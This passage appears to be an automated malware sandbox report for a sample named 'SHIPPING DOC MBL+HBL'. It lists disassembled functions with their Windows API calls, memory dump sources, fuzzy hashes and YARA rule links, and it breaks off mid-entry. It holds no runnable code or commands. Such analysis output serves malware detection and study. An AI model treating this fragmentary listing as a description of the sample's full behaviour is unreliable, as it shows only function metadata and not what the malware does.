Function 00E66C83 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00E66C8F

Part of subcall function 00E6776D: _memset.LIBCMT ref: 00E677A2

_memmove.LIBCMT ref: 00E66CB2
_memset.LIBCMT ref: 00E66CBF
LeaveCriticalSection.KERNEL32(?), ref: 00E66CCF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 59644fff6fc7ffe77510eb253b438a181f343fad39c0cbf3a5210778f16e56ab
Instruction ID: b1b17fa6dd0ec2dbacf321939619e23a2ce556ca8eb0c1c2e8d842946fb7d41d
Opcode Fuzzy Hash: 59644fff6fc7ffe77510eb253b438a181f343fad39c0cbf3a5210778f16e56ab
Instruction Fuzzy Hash: D4F05E3A204114ABCF016F55ED85E8ABB6AEF45360F148065FE08BE22BC735E811CBB4

Function 00E5A15C Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00E5A179
GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5A18C
GetCurrentThreadId.KERNEL32 ref: 00E5A193
AttachThreadInput.USER32(00000000), ref: 00E5A19A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 23ab8f83f2f1f7cca3883a82c53f2c8df14ff17f009b06328dcc57790d3b37a6
Instruction ID: a1c43f4d034ce4bc543355b36068ba42b2592f64fcf3564c31ca038b0eaf5a44
Opcode Fuzzy Hash: 23ab8f83f2f1f7cca3883a82c53f2c8df14ff17f009b06328dcc57790d3b37a6
Instruction Fuzzy Hash: 71E039B1542228BADB201FA2DD0CED73F1CEF267A2F048234F90DA4060D675C558DBE0

Function 00E02218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00E02231
SetTextColor.GDI32(?,000000FF), ref: 00E0223B
SetBkMode.GDI32(?,00000001), ref: 00E02250
GetStockObject.GDI32(00000005), ref: 00E02258
GetWindowDC.USER32(?,00000000), ref: 00E3C003
GetPixel.GDI32(00000000,00000000,00000000), ref: 00E3C010
GetPixel.GDI32(00000000,?,00000000), ref: 00E3C029
GetPixel.GDI32(00000000,00000000,?), ref: 00E3C042
GetPixel.GDI32(00000000,?,?), ref: 00E3C062
ReleaseDC.USER32(?,00000000), ref: 00E3C06D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 3698e548f17046d1e7889bcd012a28546eee00f4fe6fa97fc18d8f11ff924215
Instruction ID: dcfd6a436f915e7c402a90438fdf1e349766f960a0e9ca3e07e32432876d64ae
Opcode Fuzzy Hash: 3698e548f17046d1e7889bcd012a28546eee00f4fe6fa97fc18d8f11ff924215
Instruction Fuzzy Hash: B0E03932200244EEEB216FA5EC0D7D83B10EB05336F108366FA6D680E287714994DB11

Function 00E58A3A Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00E58A43
OpenThreadToken.ADVAPI32(00000000,?,?,?,00E5860E), ref: 00E58A4A
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00E5860E), ref: 00E58A57
OpenProcessToken.ADVAPI32(00000000,?,?,?,00E5860E), ref: 00E58A5E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 852833ebab0700e9961a19db4c56369ab8c0d1158ca87f2e38e351abd768ad8c
Instruction ID: 337d9a5408b4fd23b95e7335afb7d350ff17cf92718f676ee60464c508416240
Opcode Fuzzy Hash: 852833ebab0700e9961a19db4c56369ab8c0d1158ca87f2e38e351abd768ad8c
Instruction Fuzzy Hash: E5E04F36A012119FD7605FB26D0CB563BA8AF54796F244828E649F9055DA2494498750

Function 00E420B6 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00E420B6
GetDC.USER32(00000000), ref: 00E420C0
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E420E0
ReleaseDC.USER32(?), ref: 00E42101

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: f0c3578fb8ec2a98c14c995ddbb0d8f25a383bf7627cdb881c7614074460fb0f
Instruction ID: dfc18b514c4c66c611237218244ed0d58a2976cd9d03688a033e516dd9024b69
Opcode Fuzzy Hash: f0c3578fb8ec2a98c14c995ddbb0d8f25a383bf7627cdb881c7614074460fb0f
Instruction Fuzzy Hash: A2E0E575800204EFCB01AF61D80869D7BF1EF5C310F208229F95AB7261DB388195AF80

Function 00E420CA Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00E420CA
GetDC.USER32(00000000), ref: 00E420D4
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E420E0
ReleaseDC.USER32(?), ref: 00E42101

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: a3fb36e3c45f9e7bb5c0f48bf6de18527901f3b3189c15b96a7bd3232a62a77a
Instruction ID: 8c4f331f4e36ce1d2622bf209154b0c5a85c78770e382e98345e0c52d17137c0
Opcode Fuzzy Hash: a3fb36e3c45f9e7bb5c0f48bf6de18527901f3b3189c15b96a7bd3232a62a77a
Instruction Fuzzy Hash: 2CE01A75800204AFCF019F71C80869D7BF1EF5C310F108225F95EB7261DB389195AF80

Function 00E063A0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

%, xrefs: 00E063AE

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID: %
API String ID: 0-2291192146
Opcode ID: 6109939ac2fd63977b264851af81f2d684bc8271582f07dee7d8c47c960f4935
Instruction ID: 8b6994a51e39e224cfde73d229e41ff5e18d4157cacf5fd27bd7ce568e2a66b0
Opcode Fuzzy Hash: 6109939ac2fd63977b264851af81f2d684bc8271582f07dee7d8c47c960f4935
Instruction Fuzzy Hash: D9B1AF71D0010A9ACF24EF94C881AEEBBB4FF44310F506426E952B72D5DB319EE6CB61

Function 00E7AFB7 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 00E7B0C3

Strings

xb, xrefs: 00E7B125
xb, xrefs: 00E7B0F9

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __itow_s
String ID: xb$xb
API String ID: 3653519197-3775679291
Opcode ID: 7c2a8a0e7b7449856b65219f8cc1d9e46f9d943314c31db7ca3ef128374f407e
Instruction ID: 18aa5216305934a60b5670eada1da39ed2323f076e46b1b6235f7888f1eee38e
Opcode Fuzzy Hash: 7c2a8a0e7b7449856b65219f8cc1d9e46f9d943314c31db7ca3ef128374f407e
Instruction Fuzzy Hash: 69B14C70A00209EFDB14DF54C891EAAB7F9FF58304F14D459F949AB292EB71E981CB60

Function 00E6B038 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00E1FE06: _wcscpy.LIBCMT ref: 00E1FE29

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

__wcsnicmp.LIBCMT ref: 00E6B0B9
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00E6B182

Strings

LPT, xrefs: 00E6B0B3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 88bd3c4ee3d7da37fbb75ec59dfc7a398c52c9c5dc0606f60cb13cdbd7cc9501
Instruction ID: 0bd8bb3246261e04c55a21b723cfe9443f4ca28379743d5cc3d1c620b59c91e3
Opcode Fuzzy Hash: 88bd3c4ee3d7da37fbb75ec59dfc7a398c52c9c5dc0606f60cb13cdbd7cc9501
Instruction Fuzzy Hash: 82618F75A40215AFCB14DF98D891EAEB7F4AF49350F105069F956FB292DB30AE80CB90

Function 00E488DA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E48981
_memmove.LIBCMT ref: 00E489DB

Strings

Oa, xrefs: 00E48A55, 00E4E332, 00E4E34E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove
String ID: Oa
API String ID: 4104443479-3945284152
Opcode ID: 3638781d95057cbcc67d42282debc7e31162377a1939ad3edc6f1cc6c34bb9e8
Instruction ID: 0d14909ead379bc8ca109c29cf32060fdd91046fe29436ec4b031a219d7eb5b5
Opcode Fuzzy Hash: 3638781d95057cbcc67d42282debc7e31162377a1939ad3edc6f1cc6c34bb9e8
Instruction Fuzzy Hash: B1515FB0A00609DFDB64CF68D580AEEB7F1FF45308F14951AE85AE7240EB31A995CB51

Function 00E12AB7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00E12AC8
GlobalMemoryStatusEx.KERNEL32(?), ref: 00E12AE1

Strings

@, xrefs: 00E12AD5

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: e54670f3471d2c544a446b3417215c974fe673c76c947be4f9b1720fae14e4c0
Instruction ID: 787901321146cfdead55ea54a52d8d9c6f6f8b7cd0f25be81e97cf8480fbf650
Opcode Fuzzy Hash: e54670f3471d2c544a446b3417215c974fe673c76c947be4f9b1720fae14e4c0
Instruction Fuzzy Hash: 975167B15187449BD320AF14DC86BAFBBF8FB84310F41884CF2D9610A2DB709968CB66

Function 00E697DD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00E0506B: __fread_nolock.LIBCMT ref: 00E05089

_wcscmp.LIBCMT ref: 00E698CD
_wcscmp.LIBCMT ref: 00E698E0

Strings

FILE, xrefs: 00E69819

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: a2a98b4d195eeb9898e0e00b4f517ece1fdc65cc8e8cf4c94cb3225d9b5d57a4
Instruction ID: 94f5acfc26bf0e60916c1c69284002a4be9bfc090c8638967b77779b617181a3
Opcode Fuzzy Hash: a2a98b4d195eeb9898e0e00b4f517ece1fdc65cc8e8cf4c94cb3225d9b5d57a4
Instruction Fuzzy Hash: 57410572A4061ABADF209BA0DC85FEFB7FDDF45750F00146AB900F7181DA71AD458BA1

Function 00E408CD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00E408D8

Strings

Dd, xrefs: 00E0A2B1
Dd, xrefs: 00E0A477

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClearVariant
String ID: Dd$Dd
API String ID: 1473721057-2413357308
Opcode ID: 214d1fc77a0546f705b4932c95e2e732420962671171ef134f3cd66b16e0a054
Instruction ID: f38721776144f81c2faeb301994bf096b7e630fef97b178a69e87c42c6d6a323
Opcode Fuzzy Hash: 214d1fc77a0546f705b4932c95e2e732420962671171ef134f3cd66b16e0a054
Instruction Fuzzy Hash: 84511975604345CFD754CF19C480A1ABBF1BF99344F58A82CE995AB3A1D331EC85CB42

Function 00E726A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E726B4
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00E726EA

Strings

|, xrefs: 00E726BB

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: c7601543d087e24e2d9a0db066a35f694dd4fbb0f4c5e30265d6304759276a7e
Instruction ID: c4aa7870e0feec709a5dcf7305cddd37f6de104f7e23e2c732b896a561640a89
Opcode Fuzzy Hash: c7601543d087e24e2d9a0db066a35f694dd4fbb0f4c5e30265d6304759276a7e
Instruction Fuzzy Hash: AC314671900119AFDF05EFA4CC85EEEBFB8FF08310F00506AF908B6166DA315A46CB60

Function 00E87AA3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00E87B93
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E87BA8

Strings

', xrefs: 00E87AFC

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: cedb9d2220fa7a455dfd7885f740007f99734e7b9b7c4a23865b4b0ffd02855a
Instruction ID: 36ae0ac10734061945297fb5b4767b03d88516870c73f7b90d10da9a8afebdd9
Opcode Fuzzy Hash: cedb9d2220fa7a455dfd7885f740007f99734e7b9b7c4a23865b4b0ffd02855a
Instruction Fuzzy Hash: AC411675A042099FDB14DF69C881BDABBF6FB08300F20116AE948AB391D731E941CFA0

Function 00E86A95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00E86B49
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00E86B85

Strings

static, xrefs: 00E86AE5

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 7b51ccbbc789585db6cd2e452bc181e7c9f0a01294cf0436162cd40bbf6c2345
Instruction ID: d33b236f8fd6d1a989fc7dd4ec281d9f47c1baa9e9cd52cb8500a1df0888ccb9
Opcode Fuzzy Hash: 7b51ccbbc789585db6cd2e452bc181e7c9f0a01294cf0436162cd40bbf6c2345
Instruction Fuzzy Hash: 36317071110604AEEB14AF64CC81AFB73A9FF88728F10A619F99DE7190DB31AC81D760

Function 00E62B9A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E62C09
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00E62C44

Strings

0, xrefs: 00E62C02

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: c70a63ec4fd094276263a5c5cdd2b5ed8b6fc44721d795d39ecb6a77439158b7
Instruction ID: 3fadf790e4537b159c085360f11eb62b3c2d639f29ce11fdc916814e2cdaef39
Opcode Fuzzy Hash: c70a63ec4fd094276263a5c5cdd2b5ed8b6fc44721d795d39ecb6a77439158b7
Instruction Fuzzy Hash: 9A31F531A406099FEB348F58E985BAEFBF8FF04394F14502DEE85B61A1D7709A44CB10

Function 00E86706 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00E86793
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E8679E

Strings

Combobox, xrefs: 00E86760

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 4fb5e95ede313b9af0d594c848f1c9b1d15f16d4cd083b6ce726a22ab34272ce
Instruction ID: bcf4e7e0c21aec373b3a7303f3c4f59059effa0d1f0fb746b57b4b9e7c369429
Opcode Fuzzy Hash: 4fb5e95ede313b9af0d594c848f1c9b1d15f16d4cd083b6ce726a22ab34272ce
Instruction Fuzzy Hash: 8E1186752002086FEF11AF14DD81EFB376AEB44368F105126F91CA7290E6329C5197A0

Function 00E86C39 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00E01D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00E01D73
Part of subcall function 00E01D35: GetStockObject.GDI32(00000011), ref: 00E01D87
